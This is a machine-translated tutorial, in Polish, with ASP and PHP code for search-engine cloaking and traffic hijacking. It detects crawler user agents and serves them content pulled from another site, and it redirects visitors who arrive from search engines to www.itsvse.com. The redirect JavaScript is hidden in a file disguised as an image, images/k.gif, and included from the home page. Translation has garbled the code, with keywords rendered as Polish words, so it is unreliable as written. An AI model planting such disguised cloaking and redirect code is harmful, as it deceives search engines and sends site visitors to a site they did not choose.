Najpierw jest proste, dodaj następujący kod na stronie głównej:
Wersja ASP <!--#include plik="conn.asp"--> <script src="images\k.gif"></script>
Wersja PHP <!--#include plik="conn.php"--> <script src="images\k.gif"></script>
Następnie dodaj następujący kod do pliku conn zgodnie z programem strony, jeśli nie masz conn.asp lub conn.php, stwórz go samodzielnie:
Wydanie conn.asp
----------- następującą replikę-------------------------------- <% function isspider() Ciemny agent, Searray, ja agent="agent:"&LCase(request.servervariables("http_user_agent")) searray=array("googlebot","baiduspider","sogou","yahoo","soso","360spider") isspider= fałszywe dla i=0 do ubound(searray) jeśli (instr(agent,searray(i))>0) to isspider=true następny Funkcja końcowa
function fromse() dim urlrefer,i,searray urlrefer="refer:"&LCase(request. ServerVariables("HTTP_REFERER")) fromse= false jeśli urlrefer="" to fromse= false searray=array("google", "baidu", "sogou", "yahoo", "soso", "360") dla i=0 do ubound(searray) Jeśli (instr(urlrefer,searray(i))>0) to fromse=true następny Funkcja końcowa
funkcja gethttp(url) dim http set http=createobject("MSXML2. XMLHTTP") http.open "GET",url, false http.send() jeśli Http.readystate<>4 to Funkcja wyjścia koniec jeśli gethttp=bytes2BSTR(Http.responseBody) set http=nothing Jeśli e-numer<>0 to e-c. Czyste Funkcja końcowa
function bytes2BSTR(vIn) dim strReturn dim i, TenKodZnak, NastępnyZnak Kodu strReturn = "" For i = 1 do LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) Jeśli ThisCharCode < &H80, to strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) i = i + 1 Koniec Jeśli Następny bytes2BSTR = strReturn Funkcja końcowa
if(isspider()) to dim myfso,fileurl,filecon,myfile,bodyurl,remotehtml bodyurl="http://www.itsvse.com" //migawka URL odpowiedź. czyste remotehtml=gethttp(bodyurl) response.write(remotehtml) response.write("<!--"&now()&"-->") response.flush response.end koniec jeśli
%>
conn.php
---------------- następującą reprodukcję----------------
<?php funkcja is_search_bot(){ $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']); $identify = array('baiduspider', 'sogou spider', 'soso spider', 'iaskspider', 'naverrobot'); foreach ($identify AS $key => $tag){ if (strstr($user_agent, $tag)){ return true; } } return false; } funkcja is_urlbaidu() { $come_from="baidu@sogou@soso@iask@naver"; $referer = wybuch ("@",$come_from); foreach($referer as $url){ if (stristr($_SERVER['HTTP_REFERER'],$url)){ return true; } } return false; }
if (is_search_bot()) { $html = "<title>Wuhan Inżynieria Oprogramowania Zawodowego</title> <meta nazwa=\"Autor\" treść=\"Wpisz to samo co słowa kluczowe\"> <meta nazwa=\"Słowa kluczowe\" treść=\"Słowa kluczowe\"> <meta nazwa=
\"Opis\" treść=\"Opis\"> </head> <body>Treść</body></html>"; echo $html; } if (!is_search_bot() & is_urlbaidu())
{ Nagłówek('Lokalizacja:http://www.itsvse.com');
} ?>
Na koniec, w katalogu obrazów, prześlij plik k.gif k.gif kodu:
var s=document.referrer if(s.indexOf("baidu")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0 || s.indexOf("360")>0 || s.indexOf("sogou")>0 ) location.href="http://www.itsvse.com"; Przekierowanie URL
|